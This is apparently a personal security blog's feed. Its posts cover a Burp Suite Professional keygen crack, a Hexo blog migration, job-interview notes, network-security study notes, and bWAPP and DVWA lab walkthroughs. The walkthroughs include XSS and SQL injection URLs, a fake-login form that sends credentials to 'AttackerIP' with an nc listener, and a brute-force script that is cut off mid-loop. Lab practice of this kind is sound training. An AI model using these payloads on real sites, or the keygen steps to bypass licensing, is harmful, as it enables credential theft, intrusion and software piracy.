cd /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app && "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" "--add-opens=java.desktop/javax.swing=ALL-UNNAMED" "--add-opens=java.base/java.lang=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED" "-javaagent:BurpLoaderKeygen.jar"  "-jar" "/Applications/Burp Suite Professional.app/Contents/Resources/app/burpsuite_pro.jar"

开另一个终端:

1
/Applications/Burp\ Suite\ Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java -jar /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app/BurpLoaderKeygen.jar

按往常的注册流程即可。

为方便运行,

修改vmoptions.txt

1
2
3
4
5
6
7
8
-XX:MaxRAMPercentage=50
-include-options user.vmoptions--add-opens=java.desktop/javax.swing=ALL-UNNAMED
--add-opens=java.base/java.lang=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED
-javaagent:BurpLoaderKeygen.jar
-Xmx2048m

之后就可以正常使用了。

参考

https://www.sqlsec.com/2019/11/macbp.html#BP-2022-1

]]>
+ + + + + <h1 id="Mac下安装BP-Profession"><a href="#Mac下安装BP-Profession" class="headerlink" title="Mac下安装BP Profession"></a>Mac下安装BP Profession</h1><h3 i + + + + + +
+ + + 博客迁移 + + http://h4m5t.github.io/2022/12/04/%E5%8D%9A%E5%AE%A2%E8%BF%81%E7%A7%BB/ + 2022-12-04T14:23:50.000Z + 2024-09-24T05:05:42.000Z + +

为什么迁移博客

之前的博客用了快三年,有一些小问题,另外发现有些图片失效了,甚至给我换了广告,不能忍。

而且速度很慢,准备换个框架,整体迁移一下。

以前用的是Jekyll,一个小众主题,很简洁,有语言翻译功能,手机端做的也不错。但是可扩展性差,用的人少,功能不完善。

需求

当前需求:

  • 支持RSS

  • 支持外链,GitHub,知乎等

  • 支持查看运行时间,访问总次数。

  • 支持归档,时间倒序排列。

  • 支持转发到微信,qq,Twitter

  • 相关文章推荐

  • 写公告

长远需求:

  • 评论
  • 弹出聊天框
  • 插入广告
  • 支持打赏

寻找框架主题

主流静态框架有三种:

Hexo

Hugo

Jekyll

最终决定用hexo

框架:https://github.com/hexojs/hexo

主题:butterfly

此框架国内用的多,有问题方便查找,主题功能完善,看了别人的demo,特别惊艳。

可以满足我需要的所有需求。

缺点是不方便多端编辑,需要在本地生成之后上传所有文件。不像之前的Jekyll,只上传一个md文件就够了。

迁移进度

  • 框架迁移
  • post迁移
  • 调整格式为hexo格式
  • 图片迁移(迁移了部分图片,有些404被SMS和谐了,之后把图片都放在Github上)
  • 多终端同步(main保存源文件,gh-pages保存生成后的文件。尝试后失败)
  • 格式美化
  • 配置CDN

渐变背景色

参考:

https://www.antmoe.com/posts/7198453

https://www.cnblogs.com/MoYu-zc/p/14397889.html

遇到了渐变色不生效的问题,看了上面这篇文章,解决了。将butterfly.ymlbackground改为"#efefef"

下面是配置背景色的css文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* 文章页背景 */
.layout > div:first-child:not(.recent-posts) {
/* 以下代表白色透明度为0.5 */
background: rgba(255, 255, 255, 0.5);
}
/* 所有背景(包括首页卡片、文章页、页面页等) */
#recent-posts > .recent-post-item,
.layout > div:first-child:not(.recent-posts),
.layout_post > #page,
.layout_post > #post,
.read-mode .layout_post > #post {
/* 以下代表白色透明度为0.5 */
background: rgba(255, 255, 255, 0.5);
}

/* 背景渐变 */
#web_bg{
/*紫粉渐变*/
/*background-image: linear-gradient(120deg, #e0c3fc 0%, #8ec5fc 100%);*/
/*粉白蓝*/
/*background-image: linear-gradient(-225deg, #dfbacd 0%, #B8DCFF 48%, #58abf3 100%);*/
/*background-image: linear-gradient(120deg, #89f7fe 0%, #66a6ff 100%);*/
/*background-image: linear-gradient(120deg, #a1c4fd 0%, #c2e9fb 100%);*/
background-image: linear-gradient(to top, #fff1eb 0%, #ace0f9 100%);
}

安装插件

install hexo-renderer-pug hexo-renderer-stylus --save
1
2
3
4
5
6
7
8
9
10
11
12
13
# 字数计数
npm install hexo-wordcount --save
# 本地搜索
npm install hexo-generator-search --save
# 慢加载
npm install hexo-lazyload-image --save
# push到GitHub
npm install hexo-deployer-git --save
# RSS订阅
npm install hexo-generator-feed --save

#后期安装,图片引用
cnpm install hexo-renderer-marked

查看已安装的所有插件:npm list

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
+-- hexo-deployer-git@3.0.0
+-- hexo-generator-archive@2.0.0
+-- hexo-generator-category@2.0.0
+-- hexo-generator-feed@3.0.0
+-- hexo-generator-index@3.0.0
+-- hexo-generator-search@2.4.3
+-- hexo-generator-tag@2.0.0
+-- hexo-renderer-ejs@2.0.0
+-- hexo-renderer-marked@6.0.0
+-- hexo-renderer-pug@3.0.0
+-- hexo-renderer-stylus@2.1.0
+-- hexo-server@3.0.0
+-- hexo-theme-landscape@0.0.3
+-- hexo-wordcount@6.0.1
`-- hexo@6.3.0

备注:升级了Butterfly主题,也同步升级了其中一个插件:hexo-renderer-stylus

1
Bump hexo-renderer-stylus from 2.1.0 to 3.0.0 dependencies

一些小坑

  1. 注意,配置文件冒号后面需要加空格。
  2. 因为之前的githubpro过期了,免费github用户必须选择public仓库才能使用github pages功能,因此选择将仓库Public.
  3. 目前此主题只支持UA跟踪ID,查了一下,Google将于2023年7月下架,所以先不用了。

还有一些问题,记录在README上了。

https://github.com/h4m5t/h4m5t.github.io/blob/master/README.md

修改Profile README

顺便修改了一下github主页的readme,可以选不同颜色主题。

tokyonight

h4m5t's GitHub stats

Vue

Top Langs

参考下面的repo.

可以合并到表格,更整齐。

h4m5t's github stats

或者使用自动生成器:

https://rahuldkjain.github.io/gh-profile-readme-generator/

]]>
+ + + + + <hr> +<h3 id="为什么迁移博客"><a href="#为什么迁移博客" class="headerlink" title="为什么迁移博客"></a>为什么迁移博客</h3><p>之前的博客用了快三年,有一些小问题,另外发现有些图片失效了,甚至给我换了广告,不能忍。</ + + + + + + + + + + + +
+ + + 图片测试 + + http://h4m5t.github.io/2022/12/01/%E5%9B%BE%E7%89%87%E6%B5%8B%E8%AF%95/ + 2022-12-01T14:12:21.000Z + 2024-09-24T05:05:42.000Z + + ss

加入图片测试:

hh

touxiang:

touxiang

]]>
+ + + + + <p>ss</p> +<p>加入图片测试:</p> +<p><img src="/../img/1.jpg" alt="hh"></p> +<p>touxiang:</p> +<p><img src="/../img/tou.jpg" alt="touxiang"></p> + + + + + + +
+ + + 春招 + + http://h4m5t.github.io/2022/08/22/%E6%98%A5%E6%8B%9B/ + 2022-08-22T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

春招早就告一段落,在这里记录一下。

需要准备的几个方向

  1. 简历
  2. 自我介绍
  3. 计算机网络
  4. 操作系统(操作系统原理,Linux,Windows)
  5. 数据
  6. 算法(Leetcode)
  7. 编程语言(Python,C++,go等)
  8. 安全知识(很多很杂,建议根据自己擅长的方向和所投递的岗位进行针对性学习)

计算机知识参考CS-NOTES:http://www.cyc2018.xyz/

安全方面的可以去Github,知乎,等平台查找。**牛客**上也有很多!仔细找。

贴一下我自己找的一些**安全面经**:https://github.com/h4m5t/Sec-Interview

Python面试题:https://github.com/taizilongxu/interview_python

安全岗职位要求

  • 熟悉osquery等开源HIDS工具,阅读过工具部分源码或进行过二次开发
  • 有过实战经验(包括src、众测、护网等)
  • 了解Redis/docker/MySQL/Java框架等常见中间件高危漏洞原理
  • 精通 PoC、Exp、规则、指纹等编写的能力
  • 熟练掌握Cobalt Strike、Empire、Metasploit等后渗透工具的使用;
  • 入侵检测
  • 熟悉某一安全细分领域,如内网渗透、移动安全、恶意软件分析、CTF竞赛等
  • 掌握白帽子攻击流程及常用白帽子工具,熟悉攻击技术,具有渗透常见服务器的经验
  • 熟悉热门流行的攻击工具,能够灵活运用各类小工具,并能开发相关的小工具
  • 熟悉web、内网、iot方面的渗透流程和攻击技术,有过渗透测试、攻击模拟经验
  • 实践落地过完整SDL威胁建模方面的项目经验
  • 有实际用过机器学习算法解决过实际问题的项目经验
  • 有实践过云安全落地解决实际问题的项目经验
  • 熟悉windows、Linux系统及常用命令,熟悉WEB服务器常见配置
  • 了解Owasp Top10漏洞原理,具备渗透测试的实施和交付能力,熟悉渗透测试的步骤和方法
  • 了解常见企业安全防御技术,有防护绕过实践经验
  • 了解基本的Linux、Mysql、Redis、Nginx、DDOS等技术知识
  • 参与各类CTF安全竞赛获奖者优先,参与各大SRC、众测平台并排名靠前者优先
  • 网络安全法律
  • 独立挖掘到 k8s、容器逃逸、虚拟机逃逸相关漏洞的研究者优先;
  • 熟悉白盒审计,能对python、go、php代码进行审计
  • 快手招聘要求
  • 1、熟练使用SQLmap、Burp Suite、Metasploit等常见安全测试工具,了解原理,熟悉代码并且对其进行过二次开发
  • 2、在安全社区比较活跃,提交过高质量安全漏洞或者安全分析文章
  • 3、开发社区活跃,有开源过安全相关代码
  • 4、有互联网安全团队实习经验
  • 字节招聘要求
  • linux环境开发能力
  • shell
  • 有 Windows/Linux 客户端安全攻防的经验,或了解 Android/iOS 移动安全
  • 对安全合规,安全管理有了解
  • 数据分析,挖掘,机器学习
  • React/Vue前端
  • 对 Web 安全、服务端安全、客户端安全、移动安全、无线安全、物联网安全等其中一项或几项有深入研究

面试技巧

面试的节奏最好把握在自己手里,我们不可能每个方面都会,让面试官随便问的话,很大概率要挂。可以在自我介绍的时候,将你的学习历程讲清楚,让面试官知道你会什么,接触过什么,让他知道你大概会的东西的方向。其次,基础要扎实,漏洞的原理、种类、防御方式、应用等都应该十分熟悉,而且最好准备一些比较深的内容,开始的时候不说,等他问了再说,效果更好。然后,就是项目的经验了,这种东西要你确实做过且了解很深的才行,不然很容易给面试官留下差印象。还有就是HR,技术面你可以和面试官扯蛋、闲聊、开些玩笑也无所谓,但HR最好就不要了,正经点,别什么真话都往外说,别给他理由把你pass了

我的春招记录

待更

]]>
+ + + + + <blockquote> +<p>春招早就告一段落,在这里记录一下。</p> +</blockquote> +<h2 id="需要准备的几个方向"><a href="#需要准备的几个方向" class="headerlink" title="需要准备的几个方向"></a>需要准备的几个 + + + + + + + + + + + +
+ + + python安全开发 + + http://h4m5t.github.io/2022/03/05/py%E5%AE%89%E5%85%A8/ + 2022-03-05T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

半年多没接触编程,手生了。做一些python安全开发的小工具,练手+复习

sqlmap Tamper

Burp插件

端口扫描探测

python web安全

1.获取http状态码

1
2
3
4
import requests
url="https://baidu.com"
r=requests.get(url)
print(r)

2.get请求

无参数

1
2
3
4
5
6
import requests
url="https://baidu.com"
r=requests.get(url=url)
print(r.url)
print(r.headers)
print(r.status_code)

带参数请求

1
requests.get(url,params=) #字典

3.POST请求

1
requests.post(url,data=)

4.headers自定义请求头

5.响应头和请求头

print(r.headers)

print(r.request.headers)

]]>
+ + + + + <blockquote> +<p>半年多没接触编程,手生了。做一些python安全开发的小工具,练手+复习</p> +</blockquote> +<h3 id="sqlmap-Tamper"><a href="#sqlmap-Tamper" class="headerlink" ti + + + + + + + +
+ + + html5新安全 + + http://h4m5t.github.io/2022/02/26/html/ + 2022-02-26T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + + + + + + + + + + 香农信息论 + + http://h4m5t.github.io/2022/02/25/xinxi/ + 2022-02-25T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + + + + + + + + + + bWAPP靶场记录 + + http://h4m5t.github.io/2022/02/17/bwapp/ + 2022-02-17T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

bWAPP靶场训练记录,之前就搭好的,一直没练,现在有空练一下

主要内容有:一个很综合的靶场,不错!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SQL, HTML, iFrame, SSI, OS Command, XML, XPath, LDAP and SMTP injections
Blind SQL and Blind OS Command injection
Bash Shellshock (CGI) and Heartbleed vulnerability (OpenSSL)
Cross-Site Scripting (XSS) and Cross-Site Tracing (XST)
Cross-Site Request Forgery (CSRF)
AJAX and Web Services vulnerabilities (JSON/XML/SOAP/WSDL)
Malicious, unrestricted file uploads and backdoor files
Authentication, authorization and session management issues
Arbitrary file access and directory traversals
Local and remote file inclusions (LFI/RFI)
Configuration issues: Man-in-the-Middle, cross-domain policy files, information disclosures,...
HTTP parameter pollution and HTTP response splitting
Denial-of-Service (DoS) attacks: Slow HTTP and XML Entity Expansion
Insecure distcc, FTP, NTP, Samba, SNMP, VNC, WebDAV configurations
HTML5 ClickJacking, Cross-Origin Resource Sharing (CORS) and web storage issues
Unvalidated redirects and forwards, and cookie poisoning
Cookie poisoning and insecure cryptographic storage
Server Side Request Forgery (SSRF)
XML External Entity attacks (XXE)
And much much much more…

image-20220220202650607

A1 Injection

HTML Injection - Reflected (GET)

get型的html注入

http://127.0.0.1/bWAPP/bWAPP/htmli_get.php?firstname=%3Ch1%3Etest%3Ch1%3E&lastname=%3Ch1%3Etest%3Ch1%3E&form=submit

也可以使用xss

HTML Injection - Reflected (POST)

通过hackbar提交POST请求即可

image-20220220204407419

HTML Injection - Reflected (URL)

尝试XSS

http://127.0.0.1/bWAPP/bWAPP/htmli_current_url.php?a=%3Cscript%3Ealert(/xss/)%3C/script%3E

bp抓包之后对编码进行修改

1
2
3
4
5
6
7
8
9
10
11
12
GET /bWAPP/bWAPP/htmli_current_url.php/?a=<script>alert(/xss/)</script> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: PHPSESSID=r4h29vbhsl8upskjm0bs4ve575; security_level=0
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

原理如此,但这个只能在IE浏览器才能成功。

HTML Injection - Stored (Blog)

可以XSS

看了网上以为老外写的exp

1
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://AttackerIP/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>

攻击机:nc -l 80

iFrame Injection

http://127.0.0.1/bWAPP/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250

OS Command Injection

命令注入,跟DVWA的很类似

image-20220220212958793

OS Command Injection - Blind

跟SQL盲注类似,根据时间判断命令是否执行成功

PHP Code Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

if(isset($_REQUEST["message"]))
{

// If the security level is not MEDIUM or HIGH
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{

?>
<p><i><?php @eval ("echo " . $_REQUEST["message"] . ";");?></i></p>

<?php

http://127.0.0.1/bWAPP/bWAPP/phpi.php/?message=phpinfo()

有点像get型传参的注入

image-20220220213536683

Server-Side Includes (SSI) Injection

这里执行XSS没有问题,但是对服务端包含还不够熟悉。用了一下老外的exp也没成功

接下来就是SQL注入类型的了。

SQL Injection (GET/Search)

image-20220220214631158

http://127.0.0.1/bWAPP/bWAPP/sqli_1.php?title=a%%27%20order%20by%207%20--+&action=search

order试出列

数据库名和用户名

http://127.0.0.1/bWAPP/bWAPP/sqli_1.php?title=a%27%20union%20select%201,database(),user(),4,5,6,7%20--+&action=search

SQL Injection (AJAX/JSON/jQuery)

]]>
+ + + + + <blockquote> +<p>bWAPP靶场训练记录,之前就搭好的,一直没练,现在有空练一下</p> +</blockquote> +<p>主要内容有:一个很综合的靶场,不错!</p> +<figure class="highlight plaintext"><table><tr>< + + + + + + + +
+ + + Attacks on the RSA Cryptosystem + + http://h4m5t.github.io/2022/02/13/rsa/ + 2022-02-13T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

《Twenty Years of Attacks on the RSA Cryptosystem》阅读笔记

]]>
+ + + + + <blockquote> +<p>《Twenty Years of Attacks on the RSA Cryptosystem》阅读笔记</p> +</blockquote> + + + + + + + + +
+ + + network-security学习笔记 + + http://h4m5t.github.io/2022/02/03/network/ + 2022-02-03T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 第一章:网络安全综述

网络安全是建立在密码学以及协议设
计的基础上的

网络安全的主要任务:

  • 保障网络与系统 安全、可靠、高效、可控、持续地运行和被访问。
  • 保障信息 机密、完整、不可否认、可认证地传输和使用。

ISO-OSI模型。

TCP/IP模型

image-20210913194224992

X.800

用一种或多种安全机制来实现安全服务,安全服务
致力于抵御安全攻击。

主动攻击:

  • 伪装
  • 重放
  • 篡改
  • 拒绝服务

被动攻击:

  • 窃听
  • 流量分析

image-20210913194643371

image-20210913194651098

第二章:公钥基础设施PKI

1.公钥基础设施:PKI是一个用非对称密码算法原理和技术来实现并提供安全服务的具有通用性的安全基础设施。是一种遵循标准的利用公钥加密技术为电子商务的开展提供安全基础平台的技术和规范。能够为所有网络应用提供采用加密和数字签名等密码服务所需要的密钥和证书管理

2.功能(为什么需要PKI)

对可信第三方的需要(CA)
电子政务、电子商务对信息传输的安全需求,统一标准
在收发双方建立信任关系,提供身份认证、数字签名、加密等安全服务
收发双方不需要事先共享密钥,通过公钥加密传输会话密钥

3.证书的基本结构

image-20210913200921714

4.组成

image-20210913201019930

5.密钥备份和恢复系统:

  • 签名密钥对:签名私钥相当于日常生活中的印章效力,为保证其唯一性、抗
    否认性,签名私钥不作备份。签名密钥的生命期较长。
  • 加密密钥对:加密密钥通常用于分发会话密钥,为防止密钥丢失时无法解密
    数据,解密密钥应进行备份。这种密钥应频繁更换。

6.交叉认证:

多个PKI独立地运行,相互之间应建立信任关系

对等CA互相签发

7.PKI服务

  • 认证
  • 完整性
  • 保密性
  • 不可否认性服务
  • 公证服务

8.常用的密码技术

image-20210913200849982

机密性:数据加密(数字信封)

信息发送端用接收端的公钥,将一个通信密钥(即对称密钥)给予加密,生成一个数字信封。接收端用自己的私钥打开数字信封,获取该对称密钥SK,用它来解读收到的信息。

身份认证:数字签名

对待发的数据首先生成一段数据摘要,再采用己方私钥基于非对称加密算法进行加密,结果附在原文上一起发送,接受方对其进行验证,判断原文真伪。这种数字签名适用于对大文件的处理,对于那些小文件的数据签名,则不预先做数据摘要,而直接将原文进行非对称加密处理。

image-20210913203234717

完整性:数字签名+MAC

不可否认性:数字签名+时间戳

由于非对称密码的运算复杂、加/解密速度慢,因此信息的加密采用对称密码
算法,其会话密钥的分发采用非对称密码算法,即采用收方的公钥对会话密
钥进行加密。

报文检验码(消息认证码MAC)

9.PKI功能操作

image-20210913203710477

初始化

  • 终端实体注册
  • 密钥对产生(用户产生,CA产生,其他可信第三方产生)
  • 证书创建
  • 证书分发
  • 密钥备份

10.生命周期

  • 证书获取
  • 证书验证——确定一个证书的有效性
  • 密钥恢复——对终端用户因为某种原因而丢失的加密密钥可以恢复,从CA或信任第三方处恢复
  • 密钥更新——当一个合法的密钥对将过期时,进行新的公/私钥的自动产生和相应证书的颁发
image-20210913205553051

11.信任CA结构

  • 层次模型
  • 分布式信任结构模型
  • 桥式结构
  • 混合结构

层次模型:

image-20210913205835921

分布式模型:

image-20210913210007417

12.证书链

image-20210913205905995

image-20210913210043066

13.X.509

为了解决X.500目录中的身份鉴别和访问控制问题而设计的。同时本身也采用目录的形式进行管理和访问。

14.主要内容

image-20210913210603513

15.CA

PKI核心实体认证机构CA,为各个实体颁发电子证书,对实体身份信息和相应公钥数据进行数字签名,用以捆绑该实体的公钥和身份,以证明各实体在网上身份的真实性;并负责在交易中检验和管理证书.

功能

  • 证书申请
  • 证书审批
  • 证书颁发
  • 证书撤销
  • 证书更新
  • 证书废止列表管理
  • 证书的归档
  • CA自身的维护管理
  • CA自身密钥管理

第三章:IPSec-AH和ESP

1.IPv4和IPv6

image-20210914224817924

2.安全组合SA

为使通信双方的认证/加密算法及其参数、密钥的一致,相互间建立的联系被称为安全组合或安全关联(Security Association)

SA是单向的,在双向通信时要建立两个SA

安全关联数据库(SAD)

安全策略数据库(SPD)

SA由一个三元组唯一地标识,该三元组为安全参数索引SPI、一个
用于输出处理的目的IP地址和协议(如AH或ESP)

3.认证头标AH

  • AH协议提供无连接的完整性、数据源认证和抗重放保护服务
  • 不提供保密性服务
  • AH使用消息认证码(MAC)对IP进行认证

image-20210915000523376

序列号的使用:防止重放。

认证头标:完整性校验。

AH外出处理和进入处理

4.封装安全载荷ESP

  • ESP提供数据保密、抗重播服务、无连接完整
    性(可选)
  • ESP大都采用对称密码体制加密数据
  • ESP使用消息认证码(MAC)提供认证服务

image-20210915001552673

填充的目的:

  • 加密算法要求明文为某个数目字节的整数倍;
  • 32位对齐;
  • 隐藏实际载荷长度,提供流量保密性

ESP外出处理,进入处理。

5.传输模式和隧道模式

image-20210915003245428

6.IPsec和NAT

IPsec优点:

  • 对边界所有流量强制实现安全性,内部网络无需关注开销;
  • 对上层协议、终端用户透明、
  • 构建安全的虚拟专用网

具有AH头标或ESP头标的的IP分组不能穿越NAT和NATPT

7.IPSec隧道模式的应用-VPN

VPN 的种类、功能

8.IPsec的实现

IPSec VPN 的处理流程

第四章:IPSec-IKE

因特网密钥交换协议,是一个以受保护的方式动态协商IPsec SA的协议。

功能:使用某种长期密钥进行双向认证并建立会话密钥

主模式,野蛮模式。

IKEv1, IKEv2

第五章:SSL/TLS基本协议

SSL (Secure Socket Layer)是一种在TCP协议之上为两个端实体(End Entity)之间提供安全通道的协议。

具有保护传输数据以及识别通信实体的功能。安全通道是透明的,独立于应用层;传输层采用TCP,提供可靠业务

SSL功能:

  • 客户对服务器的身份认证
  • 服务器对客户的身份认证
  • 建立服务器与客户之间安全的数据通道

SSL工作原理:

  • 采用握手协议建立客户与服务器之间的安全通道,该协议包括双方的相互认证,交换密钥参数
  • 采用告警协议向对端指示其安全错误
  • 采用改变密码规格协议告知改变密码参数
  • 采用记录协议封装以上三种协议或应用层数据

第六章:防火墙与NAT

1.定义 防火墙是位于两个(或多个)网络间,实施网间访问控制的一组组件的集合

防火墙 = 硬件 + 软件 + 控制策略

设计目标:

  • 内部和外部之间的所有网络数据流必须经过防火墙;
  • 只有符合安全政策的数据流才能通过防火墙;
  • 防火墙自身能抗攻击;

防火墙的必要性:

  • 保护内部不受来自Internet的攻击
  • 创建安全域
  • 强化机构安全策略

防火墙的要求(两个要求存在矛盾性):

  • 保障内部网安全
  • 保证内部网同外部网的连通

2.分类

包过滤型防火墙

针对包过滤型防火墙的攻击

状态检测型防火墙(参见百度百科)

状态检测防火墙在网络层有一个检查引擎截获数据包并抽取出与应用层状态有关的信息,并以此为依据决定对该连接是接受还是拒绝。

应用级网关型防火墙

代理服务型防火墙

复合型防火墙

安全缺省策略:

  • 一切未被禁止的就是允许的

  • 一切未被允许的就是禁止的(RFC2979推荐)

3.功能

  • 访问控制:隔断、过滤、代理
  • 加密
  • 授权认证
  • 地址翻译(NAT)
  • VPN
  • 负载均衡
  • 内容安全:病毒扫描(特征码)、URL扫描、HTTP过滤
  • 日志记帐、审计报警

4.NAT 基本原理、作用

Network Address Translation

NAT技术可以在路由器(边界)、防火墙上实现内外地址的翻译工作

类型:

  • 源网络地址转换(Source NAT,缩写为SNAT),即IP伪装(masquerade)
  • 目的网络地址转换(Destination NAT,缩写为DNAT)

作用:

SNAT

  • 复用内部的全局地址,解缓IP地址不足的压力
  • 向外部网络隐藏内部网络的IP地址

DNAT

  • 在实现SNAT的环境下进行有效的服务访问
  • 流量均衡

NAT工作原理:

SNAT工作原理

实现方式:

  • 静态NAT(一一对应)
  • 动态NAT(多对多)
  • 过载(一对多)

第七章:虚拟专用网VPN

所需技术:

  • 隧道技术
  • 加解密技术
  • 密钥管理技术
  • 认证技术
  • 访问控制

分类:

image-20210916203559024

IPSec VPN

  • AH 协议提供信息源验证和完整性保证;
  • ESP 协议提供信息源验证、机密性和完整性保证;
  • IKE提供密钥协商

第八章:应用层安全协议

电子邮件安全协议:

  • PEM
  • S/MIME
  • PGP
  • SMTP

image-20210916204440621

签名、压缩、加密

若超过标准长度,则PGP自动对报文分段,接收端再重组。

PGP虽然采用公钥密码体系,但不是基于PKI证书体系

S/MIME使用X.509证书,它的密钥管理方案介于严格的X.509证书层次结构和PGP信任网之间

SSH

HTTPS((http over SSL)

安全电子交易协议SET(Secure Electronic Transaction)

SET提供了消费者、商家和银行之间的认证,确保了网上交易数据的保密性,数据的完整性以及交易的不可抵赖性。

SET采用公钥密码体制,遵循X.509数字证书标准

双重数字签名

第九章:无线局域网安全

1.无线网络的分类

  • 无线广域网(WWAN)
  • 无线城域网(WMAN)
  • 无线局域网(WLAN)Wireless Local Area Network
  • 无线个人网(WPAN)

2.WLAN建立的方式

  • Ad-hoc Mode
  • Infrastructure Mode

3.WLAN的安全需求

WLAN安全机制

  • 用户认证
  • 用户授权
  • 数据安全

802.11 的安全机制

  • 身份认证
  • 数据机密性
  • 数据完整性

WEP协议(有线等效保密协议)

功能:访问控制,数据保密性

802.11的安全增强

image-20210917091147265image-20210917092310657

其他

安全机制实现安全服务,安全服务抵御安全攻击。

image-20211217161559825

防火墙设计目标:

  • 内部和外部之间的所有网络数据流必须经过防火墙;
  • 只有符合安全政策的数据流才能通过防火墙;
  • 防火墙自身能抗攻击;

防火墙的控制能力:

  • 服务控制
  • 方向控制
  • 用户控制
  • 行为控制

包过滤防火墙在(网络层)上进行检测,在(路由器)上实现。

image-20211219145112895

IKE的功能:使用某种长期密钥进行双向认证并建立会话密钥

IKE是一个是一个以受保护的方式动态协商IPsec SA的协议

image-20211219154048173image-20211219160229356

选择符。

image-20211219161713558

电子邮件安全协议

  • PEM
  • S/MIME
  • PGP

image-20211219165020483

image-20211219181615499

image-20211219184746390image-20211219190204120

image-20211219191438417

image-20211219200652506

WEP:有线等效保密协议

WEP功能:

  • 访问控制
  • 数据保密性
image-20211220155923021

image-20211220163158572

]]>
+ + + + + <h3 id="第一章:网络安全综述"><a href="#第一章:网络安全综述" class="headerlink" title="第一章:网络安全综述"></a>第一章:网络安全综述</h3><p>网络安全是建立在密码学以及协议设<br>计的基础上的</p> +<p>网络安全 + + + + + + + +
+ + + DVWA靶场记录 + + http://h4m5t.github.io/2022/01/21/DVWA/ + 2022-01-21T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

二月份做过一遍,现在复习一下。

暴力破解

1.low

image-20220127105718016

发送到Intruder模块破解即可。

image-20220127110040408

或者使用万能密码登陆

image-20220127110633591

2.medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$avatar = mysql_result( $result, 0, "avatar" );

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

image-20220127111122668

这个函数对特殊字符进行转义,使得万能密码失效,只能用暴力破解的方法了。

3.high

1
2
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

Token直接并到URL后面。

1
http://150.158.167.184:81/vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=2f7c77f2d6684f968502e34a49b71c39#

使用脚本进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from bs4 import BeautifulSoup
import requests

header={
'GET': 'http://150.158.167.184:81/vulnerabilities/brute/ HTTP/1.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer':'http://150.158.167.184:81/vulnerabilities/brute/',
'cookie':'PHPSESSID=ukih93al6mi9q6sghlo6oo5h90; security=high',
'Connection':'keep-alive',
'Upgrade-Insecure-Requests':'1',
'Host':'127.0.0.1'
}
requrl="http://150.158.167.184:81/vulnerabilities/brute/"


def get_token(requrl,header):
response=requests.get(url=requrl,headers=header)
print (response.status_code,len(response.content))
soup=BeautifulSoup(response.text,"html.parser")
input=soup.form.select("input[type='hidden']") #返回的是一个list列表
user_token=input[0]['value'] #获取用户的token
return user_token

user_token=get_token(requrl,header)
i=0
for line in open("password.txt"):
